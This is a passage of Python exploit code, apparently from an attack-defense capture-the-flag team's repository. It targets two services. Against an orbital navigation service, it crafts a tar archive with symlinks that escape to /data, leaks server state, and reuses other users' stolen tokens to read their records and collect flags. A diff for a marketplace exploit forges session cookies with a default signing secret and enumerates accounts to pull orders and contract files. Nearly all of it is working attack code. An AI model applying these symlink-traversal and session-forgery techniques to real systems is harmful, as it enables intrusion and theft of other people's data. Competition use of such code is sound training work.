if deadline - time.monotonic() <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
chunk = response.read(min(64 * 1024, limit + 1 - total))
|
||||
if not chunk:
|
||||
break
|
||||
chunks.append(chunk)
|
||||
total += len(chunk)
|
||||
raw = b"".join(chunks)
|
||||
if len(raw) > limit:
|
||||
raise ValueError("response too large")
|
||||
return raw
|
||||
|
||||
|
||||
def request(
|
||||
base: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
method: str = "GET",
|
||||
body: bytes | None = None,
|
||||
headers: dict[str, str] | None = None,
|
||||
response_limit: int = MAX_RESPONSE,
|
||||
) -> tuple[int, bytes]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
request_headers = {
|
||||
"Accept": "application/json",
|
||||
"User-Agent": "neo-orbital-legacy-state/1.0",
|
||||
}
|
||||
if headers:
|
||||
request_headers.update(headers)
|
||||
req = Request(base + path, data=body, headers=request_headers, method=method)
|
||||
try:
|
||||
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||
return response.status, read_bounded(response, response_limit, deadline)
|
||||
except HTTPError as exc:
|
||||
with exc:
|
||||
return exc.code, read_bounded(exc, response_limit, deadline)
|
||||
|
||||
|
||||
def rpc(
|
||||
base: str,
|
||||
deadline: float,
|
||||
action: str,
|
||||
response_limit: int = MAX_RESPONSE,
|
||||
**fields,
|
||||
):
|
||||
body = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
|
||||
status, raw = request(
|
||||
base,
|
||||
"/rpc",
|
||||
deadline,
|
||||
method="POST",
|
||||
body=body,
|
||||
headers={"Content-Type": "application/json"},
|
||||
response_limit=response_limit,
|
||||
)
|
||||
try:
|
||||
document = json.loads(raw)
|
||||
except (TypeError, ValueError) as exc:
|
||||
raise ExploitError(action, "invalid response") from exc
|
||||
if not isinstance(document, dict):
|
||||
raise ExploitError(action, "invalid response")
|
||||
if status != 200 or document.get("ok") is not True:
|
||||
detail = document.get("error")
|
||||
raise ExploitError(action, detail if isinstance(detail, str) else f"HTTP {status}")
|
||||
return document.get("result")
|
||||
|
||||
|
||||
def context_path(base: str) -> Path:
|
||||
configured = os.environ.get("ORBITAL_STATE_DIR")
|
||||
root = (
|
||||
Path(configured)
|
||||
if configured
|
||||
else Path(tempfile.gettempdir()) / "goctf-orbital-navigation-v2"
|
||||
)
|
||||
root.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
if os.name != "nt":
|
||||
root.chmod(0o700)
|
||||
return root / (hashlib.sha256(base.encode()).hexdigest() + ".json")
|
||||
|
||||
|
||||
def seen_path(base: str) -> Path:
|
||||
return context_path(base).with_suffix(".flags.json")
|
||||
|
||||
|
||||
def load_seen_flags(base: str) -> tuple[int, set[str]] | None:
|
||||
path = seen_path(base)
|
||||
try:
|
||||
info = path.lstat()
|
||||
if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o077:
|
||||
return None
|
||||
document = json.loads(path.read_text(encoding="utf-8"))
|
||||
except (FileNotFoundError, OSError, ValueError):
|
||||
return None
|
||||
if not isinstance(document, dict) or document.get("version") != SEEN_CACHE_VERSION:
|
||||
return None
|
||||
passes = document.get("passes")
|
||||
flags = document.get("flags")
|
||||
if not isinstance(passes, int) or passes < 0 or not isinstance(flags, list):
|
||||
return None
|
||||
values = {
|
||||
item
|
||||
for item in flags
|
||||
if isinstance(item, str) and FLAG_PATTERN.fullmatch(item.encode())
|
||||
}
|
||||
return passes, values
|
||||
|
||||
|
||||
def save_seen_flags(base: str, passes: int, flags: set[str]) -> None:
|
||||
path = seen_path(base)
|
||||
temporary = None
|
||||
try:
|
||||
with tempfile.NamedTemporaryFile(
|
||||
mode="w",
|
||||
encoding="utf-8",
|
||||
dir=path.parent,
|
||||
prefix=path.name + ".",
|
||||
delete=False,
|
||||
) as handle:
|
||||
temporary = Path(handle.name)
|
||||
json.dump(
|
||||
{
|
||||
"version": SEEN_CACHE_VERSION,
|
||||
"passes": passes,
|
||||
"flags": sorted(flags),
|
||||
},
|
||||
handle,
|
||||
separators=(",", ":"),
|
||||
)
|
||||
if os.name != "nt":
|
||||
temporary.chmod(0o600)
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
if temporary is not None:
|
||||
try:
|
||||
temporary.unlink()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def fresh_flags(base: str, current: list[str]) -> tuple[list[str], int, int]:
|
||||
candidates = set(current)
|
||||
cached = load_seen_flags(base)
|
||||
if cached is None:
|
||||
passes = 1
|
||||
seen: set[str] = set()
|
||||
else:
|
||||
previous_passes, seen = cached
|
||||
passes = previous_passes + 1
|
||||
fresh = sorted(candidates - seen) if passes > SEEN_WARMUP_PASSES else []
|
||||
save_seen_flags(base, passes, seen | candidates)
|
||||
return fresh, len(candidates), passes
|
||||
|
||||
|
||||
def valid_context(document, base: str) -> bool:
|
||||
return (
|
||||
isinstance(document, dict)
|
||||
and document.get("base") == base
|
||||
and all(
|
||||
isinstance(document.get(key), str)
|
||||
and pattern.fullmatch(document[key]) is not None
|
||||
for key, pattern in CONTEXT_PATTERNS.items()
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def load_context(base: str):
|
||||
path = context_path(base)
|
||||
try:
|
||||
if path.stat().st_size > 64 * 1024:
|
||||
return None
|
||||
document = json.loads(path.read_text(encoding="utf-8"))
|
||||
except (OSError, ValueError):
|
||||
return None
|
||||
if not valid_context(document, base):
|
||||
return None
|
||||
return {key: document[key] for key in CONTEXT_PATTERNS}
|
||||
|
||||
|
||||
def save_context(base: str, context: dict[str, str]) -> None:
|
||||
path = context_path(base)
|
||||
document = {"base": base, **context}
|
||||
temporary = None
|
||||
try:
|
||||
with tempfile.NamedTemporaryFile(
|
||||
mode="w",
|
||||
encoding="utf-8",
|
||||
dir=path.parent,
|
||||
prefix=path.name + ".",
|
||||
delete=False,
|
||||
) as handle:
|
||||
temporary = Path(handle.name)
|
||||
json.dump(document, handle, separators=(",", ":"))
|
||||
if os.name != "nt":
|
||||
temporary.chmod(0o600)
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
if temporary is not None:
|
||||
try:
|
||||
temporary.unlink()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def discard_context(base: str) -> None:
|
||||
try:
|
||||
context_path(base).unlink()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def create_context(base: str, deadline: float) -> dict[str, str]:
|
||||
registered = rpc(base, deadline, "register")
|
||||
auth = registered.get("token") if isinstance(registered, dict) else None
|
||||
if not isinstance(auth, str):
|
||||
raise ExploitError("register", "missing token")
|
||||
ship = rpc(base, deadline, "create_ship", token=auth)
|
||||
ship_id = ship.get("ship_id") if isinstance(ship, dict) else None
|
||||
if not isinstance(ship_id, str):
|
||||
raise ExploitError("create_ship", "missing ship")
|
||||
profile = rpc(base, deadline, "create_profile", token=auth, ship_id=ship_id)
|
||||
profile_id = profile.get("profile_id") if isinstance(profile, dict) else None
|
||||
if not isinstance(profile_id, str):
|
||||
raise ExploitError("create_profile", "missing profile")
|
||||
flight = rpc(
|
||||
base,
|
||||
deadline,
|
||||
"create_flight",
|
||||
token=auth,
|
||||
geometry=STATE_MARKER,
|
||||
map_version=STATE_MARKER,
|
||||
options=STATE_MARKER,
|
||||
manifest=STATE_MARKER,
|
||||
navigation=STATE_MARKER,
|
||||
)
|
||||
flight_id = flight.get("flight_id") if isinstance(flight, dict) else None
|
||||
if not isinstance(flight_id, str):
|
||||
raise ExploitError("create_flight", "missing flight")
|
||||
package = rpc(base, deadline, "create_package", token=auth)
|
||||
package_id = package.get("package_id") if isinstance(package, dict) else None
|
||||
if not isinstance(package_id, str):
|
||||
raise ExploitError("create_package", "missing package")
|
||||
context = {
|
||||
"token": auth,
|
||||
"ship_id": ship_id,
|
||||
"profile_id": profile_id,
|
||||
"flight_id": flight_id,
|
||||
"package_id": package_id,
|
||||
}
|
||||
save_context(base, context)
|
||||
return context
|
||||
|
||||
|
||||
def regular_tar() -> bytes:
|
||||
output = io.BytesIO()
|
||||
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
|
||||
content = b"approved"
|
||||
entry = tarfile.TarInfo("report.txt")
|
||||
entry.size = len(content)
|
||||
archive.addfile(entry, io.BytesIO(content))
|
||||
return output.getvalue()
|
||||
|
||||
|
||||
def state_dump_tar(flight_id: str) -> bytes:
|
||||
output = io.BytesIO()
|
||||
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
|
||||
escape = tarfile.TarInfo("escape")
|
||||
escape.type = tarfile.SYMTYPE
|
||||
escape.linkname = "/data"
|
||||
archive.addfile(escape)
|
||||
state_link = tarfile.TarInfo("escape/state.json.tmp")
|
||||
state_link.type = tarfile.SYMTYPE
|
||||
state_link.linkname = f"/data/navigation/{flight_id}.txt"
|
||||
archive.addfile(state_link)
|
||||
content = b"ok"
|
||||
report = tarfile.TarInfo("report.txt")
|
||||
report.size = len(content)
|
||||
archive.addfile(report, io.BytesIO(content))
|
||||
return output.getvalue()
|
||||
|
||||
|
||||
def upload_package(
|
||||
base: str, deadline: float, context: dict[str, str], content: bytes
|
||||
) -> None:
|
||||
status, raw = request(
|
||||
base,
|
||||
f"/packages/{quote(context['package_id'], safe='')}/content",
|
||||
deadline,
|
||||
method="PUT",
|
||||
body=content,
|
||||
headers={
|
||||
"Authorization": f"Bearer {context['token']}",
|
||||
"Content-Type": "application/octet-stream",
|
||||
},
|
||||
)
|
||||
try:
|
||||
document = json.loads(raw)
|
||||
except (TypeError, ValueError) as exc:
|
||||
raise ExploitError("package upload", "invalid response") from exc
|
||||
if status != 200 or not isinstance(document, dict) or document.get("ok") is not True:
|
||||
detail = document.get("error") if isinstance(document, dict) else "invalid response"
|
||||
raise ExploitError("package upload", detail if isinstance(detail, str) else "rejected")
|
||||
|
||||
|
||||
def read_navigation(
|
||||
base: str,
|
||||
deadline: float,
|
||||
token: str,
|
||||
flight_id: str,
|
||||
response_limit: int = MAX_RESPONSE,
|
||||
) -> str:
|
||||
result = rpc(
|
||||
base,
|
||||
deadline,
|
||||
"read_navigation",
|
||||
response_limit=response_limit,
|
||||
token=token,
|
||||
flight_id=flight_id,
|
||||
)
|
||||
navigation = result.get("navigation") if isinstance(result, dict) else None
|
||||
if not isinstance(navigation, str):
|
||||
raise ExploitError("read_navigation", "missing navigation")
|
||||
return navigation
|
||||
|
||||
|
||||
def decode_state(raw: str):
|
||||
try:
|
||||
document = json.loads(raw)
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
required = {"users", "ships", "messages", "flights", "packages"}
|
||||
return document if isinstance(document, dict) and required.issubset(document) else None
|
||||
|
||||
|
||||
def trigger_pair(base: str, deadline: float, context: dict[str, str]) -> None:
|
||||
confirmed = 0
|
||||
attempts = 0
|
||||
last_error = None
|
||||
while confirmed < 2 and attempts < 5 and deadline - time.monotonic() > 0.25:
|
||||
attempts += 1
|
||||
try:
|
||||
rpc(
|
||||
base,
|
||||
deadline,
|
||||
"edit_profile",
|
||||
token=context["token"],
|
||||
profile_id=context["profile_id"],
|
||||
ship_id=context["ship_id"],
|
||||
)
|
||||
confirmed += 1
|
||||
except ExploitError:
|
||||
raise
|
||||
except (HTTPError, URLError, TimeoutError, HTTPException, OSError) as exc:
|
||||
last_error = exc
|
||||
if confirmed < 2:
|
||||
raise ExploitError("edit_profile", type(last_error).__name__ if last_error else "deadline")
|
||||
|
||||
|
||||
def consume_artifact(
|
||||
base: str, deadline: float, context: dict[str, str]
|
||||
) -> tuple[str | None, dict | None]:
|
||||
initial = read_navigation(
|
||||
base,
|
||||
deadline,
|
||||
context["token"],
|
||||
context["flight_id"],
|
||||
MAX_STATE_RESPONSE,
|
||||
)
|
||||
state = decode_state(initial)
|
||||
trigger_pair(base, deadline, context)
|
||||
if state is not None:
|
||||
return initial, state
|
||||
leaked = read_navigation(
|
||||
base,
|
||||
deadline,
|
||||
context["token"],
|
||||
context["flight_id"],
|
||||
MAX_STATE_RESPONSE,
|
||||
)
|
||||
return (leaked, decode_state(leaked))
|
||||
|
||||
|
||||
def plant_artifact(base: str, deadline: float, context: dict[str, str]) -> bool:
|
||||
upload_package(base, deadline, context, regular_tar())
|
||||
rpc(
|
||||
base,
|
||||
deadline,
|
||||
"approve_package",
|
||||
token=context["token"],
|
||||
package_id=context["package_id"],
|
||||
)
|
||||
upload_package(base, deadline, context, state_dump_tar(context["flight_id"]))
|
||||
try:
|
||||
rpc(
|
||||
base,
|
||||
deadline,
|
||||
"generate_report",
|
||||
token=context["token"],
|
||||
package_id=context["package_id"],
|
||||
attachment="report.txt",
|
||||
)
|
||||
except ExploitError as exc:
|
||||
if exc.detail in {"package not approved", "unsafe package"}:
|
||||
return False
|
||||
raise
|
||||
return True
|
||||
|
||||
|
||||
def stale_context(error: ExploitError) -> bool:
|
||||
return any(marker in error.detail for marker in STALE_MARKERS)
|
||||
|
||||
|
||||
def state_navigation_candidates(state: dict, hint: str, own_flight: str):
|
||||
users = state.get("users")
|
||||
flights = state.get("flights")
|
||||
if not isinstance(users, dict) or not isinstance(flights, dict):
|
||||
return []
|
||||
owner_tokens = {}
|
||||
for token, owner in users.items():
|
||||
if isinstance(token, str) and isinstance(owner, str):
|
||||
owner_tokens.setdefault(owner, token)
|
||||
hinted = list(
|
||||
dict.fromkeys(match.group(0).lower() for match in FLIGHT_PATTERN.finditer(hint))
|
||||
)
|
||||
order = hinted + [flight_id for flight_id in flights if flight_id not in hinted]
|
||||
candidates = []
|
||||
for flight_id in order:
|
||||
flight = flights.get(flight_id)
|
||||
if flight_id == own_flight or not isinstance(flight_id, str) or not isinstance(flight, dict):
|
||||
continue
|
||||
owner_auth = owner_tokens.get(flight.get("owner"))
|
||||
if isinstance(owner_auth, str):
|
||||
candidates.append((flight_id, owner_auth))
|
||||
if len(candidates) >= MAX_NAVIGATION_READS:
|
||||
break
|
||||
return candidates
|
||||
|
||||
|
||||
def collect_flags(
|
||||
base: str,
|
||||
deadline: float,
|
||||
context: dict[str, str],
|
||||
hint: str,
|
||||
raw_state: str,
|
||||
state: dict,
|
||||
) -> tuple[set[str], int, int]:
|
||||
flags = {match.decode("ascii") for match in FLAG_PATTERN.findall(raw_state.encode())}
|
||||
reads = 0
|
||||
errors = 0
|
||||
for flight_id, token in state_navigation_candidates(state, hint, context["flight_id"]):
|
||||
if deadline - time.monotonic() <= 0.3:
|
||||
break
|
||||
reads += 1
|
||||
try:
|
||||
navigation = read_navigation(base, deadline, token, flight_id)
|
||||
except (
|
||||
ExploitError,
|
||||
HTTPError,
|
||||
URLError,
|
||||
TimeoutError,
|
||||
HTTPException,
|
||||
ValueError,
|
||||
OSError,
|
||||
):
|
||||
errors += 1
|
||||
continue
|
||||
flags.update(
|
||||
match.decode("ascii") for match in FLAG_PATTERN.findall(navigation.encode())
|
||||
)
|
||||
return flags, reads, errors
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], bool, bool, int, int]:
|
||||
base, hint = parse_target(raw_target)
|
||||
deadline = time.monotonic() + TOTAL_RUNTIME
|
||||
context = load_context(base)
|
||||
consumed = False
|
||||
reads = 0
|
||||
errors = 0
|
||||
flags: set[str] = set()
|
||||
if context is not None:
|
||||
try:
|
||||
raw_state, state = consume_artifact(base, deadline, context)
|
||||
except ExploitError as exc:
|
||||
if not stale_context(exc):
|
||||
raise
|
||||
discard_context(base)
|
||||
context = None
|
||||
if context is not None and raw_state is not None and state is not None:
|
||||
consumed = True
|
||||
flags, reads, errors = collect_flags(
|
||||
base, deadline, context, hint, raw_state, state
|
||||
)
|
||||
if context is None:
|
||||
context = create_context(base, deadline)
|
||||
planted = False
|
||||
if deadline - time.monotonic() > 0.75:
|
||||
try:
|
||||
planted = plant_artifact(base, deadline, context)
|
||||
except (
|
||||
ExploitError,
|
||||
HTTPError,
|
||||
URLError,
|
||||
TimeoutError,
|
||||
HTTPException,
|
||||
ValueError,
|
||||
OSError,
|
||||
) as exc:
|
||||
if not flags:
|
||||
raise
|
||||
print(f"replant failed: {type(exc).__name__}", file=sys.stderr)
|
||||
return sorted(flags), consumed, planted, reads, errors
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST[#CHECKER_HINT]", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
with hard_timeout(TOTAL_RUNTIME + 0.5):
|
||||
flags, consumed, planted, reads, errors = run_exploit(sys.argv[1])
|
||||
base, _ = parse_target(sys.argv[1])
|
||||
flags, candidates, passes = fresh_flags(base, flags)
|
||||
except (
|
||||
ExploitError,
|
||||
HardDeadlineExceeded,
|
||||
HTTPError,
|
||||
URLError,
|
||||
TimeoutError,
|
||||
HTTPException,
|
||||
ValueError,
|
||||
OSError,
|
||||
) as exc:
|
||||
print(f"request failed: {type(exc).__name__}", file=sys.stderr)
|
||||
return 1
|
||||
for flag in flags:
|
||||
print(flag, flush=True)
|
||||
print(
|
||||
f"consumed={int(consumed)} planted={int(planted)} navigation_reads={reads} "
|
||||
f"errors={errors} candidates={candidates} cache_pass={passes} "
|
||||
f"new_flags={len(flags)}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
+26
-272
@@ -7,34 +7,23 @@ import concurrent.futures
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
import time
|
||||
from ipaddress import ip_address
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import quote, urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8090
|
||||
REQUEST_TIMEOUT = 3.5
|
||||
TOTAL_TIMEOUT = 24.0
|
||||
REQUEST_TIMEOUT = 2.0
|
||||
TOTAL_TIMEOUT = 8.0
|
||||
MAX_RESPONSE = 128 * 1024
|
||||
MAX_ATTACK_DATA_RESPONSE = 256 * 1024
|
||||
RECENT_USER_WINDOW = 32
|
||||
TARGETED_USER_WINDOW = 64
|
||||
MAX_WORKERS = 16
|
||||
MAX_WORKERS = 8
|
||||
SESSION_SECRET = "starpost-development-session-key-change-before-production"
|
||||
FLAG_RE = re.compile(rb"[A-Z0-9]{31}=")
|
||||
DECIMAL_HINT_RE = re.compile(r"[1-9][0-9]{0,8}\Z")
|
||||
ATTACK_DATA_URL = os.environ.get(
|
||||
"STARPOST_ATTACK_DATA_URL",
|
||||
"http://10.10.10.10/api/v1/attack_data",
|
||||
)
|
||||
ATTACK_DATA_SERVICE = "ДОК"
|
||||
ATTACK_DATA_TIMEOUT = 1.0
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
@@ -93,7 +82,7 @@ def request(
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
req = Request(base + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(ProxyHandler({}), NoRedirects())
|
||||
opener = build_opener(NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=timeout) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
@@ -107,76 +96,6 @@ def request(
|
||||
return exc.code, data
|
||||
|
||||
|
||||
def parse_attack_hints(payload: object, target_host: str) -> tuple[set[int], set[str]]:
|
||||
try:
|
||||
target_ip = str(ip_address(target_host))
|
||||
except ValueError:
|
||||
return set(), set()
|
||||
if not isinstance(payload, dict):
|
||||
raise TypeError("attack_data root is not an object")
|
||||
service = payload.get(ATTACK_DATA_SERVICE, payload)
|
||||
if not isinstance(service, dict):
|
||||
raise TypeError("attack_data service is not an object")
|
||||
values = service.get(target_ip)
|
||||
if values is None:
|
||||
return set(), set()
|
||||
if not isinstance(values, list) or len(values) > 32:
|
||||
raise ValueError("attack_data target hints are invalid")
|
||||
product_ids = {
|
||||
int(value)
|
||||
for value in values
|
||||
if isinstance(value, str) and DECIMAL_HINT_RE.fullmatch(value)
|
||||
}
|
||||
usernames = {
|
||||
value
|
||||
for value in values
|
||||
if isinstance(value, str)
|
||||
and not DECIMAL_HINT_RE.fullmatch(value)
|
||||
and 1 <= len(value) <= 64
|
||||
}
|
||||
return product_ids, usernames
|
||||
|
||||
|
||||
def fetch_attack_hints(target_host: str, deadline: float) -> tuple[set[int], set[str]] | None:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
return None
|
||||
req = Request(
|
||||
ATTACK_DATA_URL,
|
||||
headers={"Accept": "application/json", "User-Agent": "starpost-session/1.1"},
|
||||
)
|
||||
opener = build_opener(ProxyHandler({}), NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=min(ATTACK_DATA_TIMEOUT, remaining)) as response:
|
||||
if response.status != 200:
|
||||
return None
|
||||
raw = response.read(MAX_ATTACK_DATA_RESPONSE + 1)
|
||||
if len(raw) > MAX_ATTACK_DATA_RESPONSE:
|
||||
return None
|
||||
return parse_attack_hints(json.loads(raw), target_host)
|
||||
except (
|
||||
HTTPError,
|
||||
URLError,
|
||||
OSError,
|
||||
TimeoutError,
|
||||
TypeError,
|
||||
ValueError,
|
||||
UnicodeDecodeError,
|
||||
json.JSONDecodeError,
|
||||
):
|
||||
return None
|
||||
|
||||
|
||||
def fetch(base: str, path: str, cookie: str, deadline: float):
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
return None
|
||||
try:
|
||||
return request(base, path, cookie=cookie, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||
return None
|
||||
|
||||
|
||||
def register_probe(base: str, deadline: float) -> int:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
@@ -195,8 +114,17 @@ def register_probe(base: str, deadline: float) -> int:
|
||||
|
||||
|
||||
def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
|
||||
def fetch(path: str, cookie: str):
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
return None
|
||||
try:
|
||||
return request(base, path, cookie=cookie, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||
return None
|
||||
|
||||
probe_cookie = forge_session(user_id, "seller")
|
||||
response = fetch(base, "/api/me", probe_cookie, deadline)
|
||||
response = fetch("/api/me", probe_cookie)
|
||||
if response is None or response[0] != 200:
|
||||
return []
|
||||
_, raw = response
|
||||
@@ -209,15 +137,15 @@ def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
|
||||
role = identity["role"]
|
||||
cookie = forge_session(user_id, role)
|
||||
paths = ["/api/orders"] if role == "buyer" else [
|
||||
"/api/seller/reviews?limit=100",
|
||||
"/api/seller/products",
|
||||
"/api/seller/reviews?limit=100",
|
||||
]
|
||||
contract_file = identity.get("contract_file")
|
||||
if role == "seller" and isinstance(contract_file, str) and contract_file:
|
||||
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
|
||||
output = [raw]
|
||||
for path in paths:
|
||||
response = fetch(base, path, cookie, deadline)
|
||||
response = fetch(path, cookie)
|
||||
if response is None:
|
||||
continue
|
||||
status, data = response
|
||||
@@ -226,204 +154,30 @@ def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
|
||||
return output
|
||||
|
||||
|
||||
def forged_session_works(base: str, user_id: int, deadline: float) -> bool:
|
||||
response = fetch(base, "/api/me", forge_session(user_id, "buyer"), deadline)
|
||||
if response is None or response[0] != 200:
|
||||
return False
|
||||
try:
|
||||
identity = json.loads(response[1])
|
||||
except (TypeError, ValueError):
|
||||
return False
|
||||
return isinstance(identity, dict) and identity.get("id") == user_id
|
||||
|
||||
|
||||
def parallel_results(call, user_ids: list[int], deadline: float) -> list[object]:
|
||||
results: list[object] = []
|
||||
def run_exploit(target: str) -> str:
|
||||
base = build_base_url(target)
|
||||
deadline = time.monotonic() + TOTAL_TIMEOUT
|
||||
newest = register_probe(base, deadline)
|
||||
user_ids = list(range(newest - 1, max(0, newest - RECENT_USER_WINDOW - 1), -1))
|
||||
chunks: list[bytes] = []
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
futures = [pool.submit(call, user_id) for user_id in user_ids]
|
||||
futures = [pool.submit(collect_identity, base, uid, deadline) for uid in user_ids]
|
||||
try:
|
||||
for future in concurrent.futures.as_completed(
|
||||
futures,
|
||||
timeout=max(0.001, deadline - time.monotonic()),
|
||||
):
|
||||
try:
|
||||
result = future.result()
|
||||
chunks.extend(future.result())
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||
continue
|
||||
if result is not None:
|
||||
results.append(result)
|
||||
except TimeoutError:
|
||||
pass
|
||||
finally:
|
||||
for future in futures:
|
||||
future.cancel()
|
||||
return results
|
||||
|
||||
|
||||
def find_product_sellers(
|
||||
base: str,
|
||||
user_ids: list[int],
|
||||
product_ids: set[int],
|
||||
deadline: float,
|
||||
) -> list[tuple[int, bytes]]:
|
||||
def inspect(user_id: int):
|
||||
cookie = forge_session(user_id, "seller")
|
||||
response = fetch(base, "/api/seller/products", cookie, deadline)
|
||||
if response is None or response[0] != 200:
|
||||
return None
|
||||
_, raw = response
|
||||
try:
|
||||
products = json.loads(raw)
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
if not isinstance(products, list):
|
||||
return None
|
||||
found = {
|
||||
product.get("id")
|
||||
for product in products
|
||||
if isinstance(product, dict) and isinstance(product.get("id"), int)
|
||||
}
|
||||
return (user_id, raw) if found & product_ids else None
|
||||
|
||||
return parallel_results(inspect, user_ids, deadline)
|
||||
|
||||
|
||||
def find_named_identities(
|
||||
base: str,
|
||||
user_ids: list[int],
|
||||
usernames: set[str],
|
||||
deadline: float,
|
||||
) -> list[tuple[int, dict, bytes]]:
|
||||
def inspect(user_id: int):
|
||||
response = fetch(base, "/api/me", forge_session(user_id, "seller"), deadline)
|
||||
if response is None or response[0] != 200:
|
||||
return None
|
||||
_, raw = response
|
||||
try:
|
||||
identity = json.loads(raw)
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
if not isinstance(identity, dict) or identity.get("username") not in usernames:
|
||||
return None
|
||||
return user_id, identity, raw
|
||||
|
||||
return parallel_results(inspect, user_ids, deadline)
|
||||
|
||||
|
||||
def collect_known_identity(
|
||||
base: str,
|
||||
user_id: int,
|
||||
identity: dict,
|
||||
identity_raw: bytes,
|
||||
deadline: float,
|
||||
) -> list[bytes]:
|
||||
role = identity.get("role")
|
||||
if role not in {"buyer", "seller"}:
|
||||
return []
|
||||
cookie = forge_session(user_id, role)
|
||||
paths = ["/api/orders"] if role == "buyer" else [
|
||||
"/api/seller/reviews?limit=100",
|
||||
"/api/seller/products",
|
||||
]
|
||||
contract_file = identity.get("contract_file")
|
||||
if role == "seller" and isinstance(contract_file, str) and contract_file:
|
||||
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
|
||||
output = [identity_raw]
|
||||
for path in paths:
|
||||
response = fetch(base, path, cookie, deadline)
|
||||
if response is not None and response[0] == 200 and response[1]:
|
||||
output.append(response[1])
|
||||
return output
|
||||
|
||||
|
||||
def collect_product_seller(
|
||||
base: str,
|
||||
user_id: int,
|
||||
products_raw: bytes,
|
||||
deadline: float,
|
||||
) -> list[bytes]:
|
||||
cookie = forge_session(user_id, "seller")
|
||||
output = [products_raw]
|
||||
reviews = fetch(base, "/api/seller/reviews?limit=100", cookie, deadline)
|
||||
if reviews is not None and reviews[0] == 200 and reviews[1]:
|
||||
output.append(reviews[1])
|
||||
me = fetch(base, "/api/me", cookie, deadline)
|
||||
if me is None or me[0] != 200:
|
||||
return output
|
||||
output.append(me[1])
|
||||
try:
|
||||
identity = json.loads(me[1])
|
||||
except (TypeError, ValueError):
|
||||
return output
|
||||
contract_file = identity.get("contract_file") if isinstance(identity, dict) else None
|
||||
if isinstance(contract_file, str) and contract_file:
|
||||
contract = fetch(
|
||||
base,
|
||||
"/api/contract?file=" + quote(contract_file, safe=""),
|
||||
cookie,
|
||||
deadline,
|
||||
)
|
||||
if contract is not None and contract[0] == 200 and contract[1]:
|
||||
output.append(contract[1])
|
||||
return output
|
||||
|
||||
|
||||
def collect_recent(base: str, user_ids: list[int], deadline: float) -> list[bytes]:
|
||||
chunks: list[bytes] = []
|
||||
results = parallel_results(
|
||||
lambda user_id: collect_identity(base, user_id, deadline),
|
||||
user_ids,
|
||||
deadline,
|
||||
)
|
||||
for result in results:
|
||||
if isinstance(result, list):
|
||||
chunks.extend(result)
|
||||
return chunks
|
||||
|
||||
|
||||
def run_exploit(target: str) -> str:
|
||||
base = build_base_url(target)
|
||||
deadline = time.monotonic() + TOTAL_TIMEOUT
|
||||
target_host = urlsplit(base).hostname
|
||||
hints = fetch_attack_hints(target_host, deadline) if target_host else None
|
||||
newest = register_probe(base, deadline)
|
||||
if not forged_session_works(base, newest, deadline):
|
||||
print("default session secret is not accepted", file=sys.stderr)
|
||||
return ""
|
||||
|
||||
chunks: list[bytes] = []
|
||||
mode = "recent"
|
||||
checked = RECENT_USER_WINDOW
|
||||
if hints is not None and any(hints):
|
||||
mode = "targeted"
|
||||
checked = TARGETED_USER_WINDOW
|
||||
user_ids = list(range(newest - 1, max(0, newest - TARGETED_USER_WINDOW - 1), -1))
|
||||
product_ids, usernames = hints
|
||||
product_sellers = (
|
||||
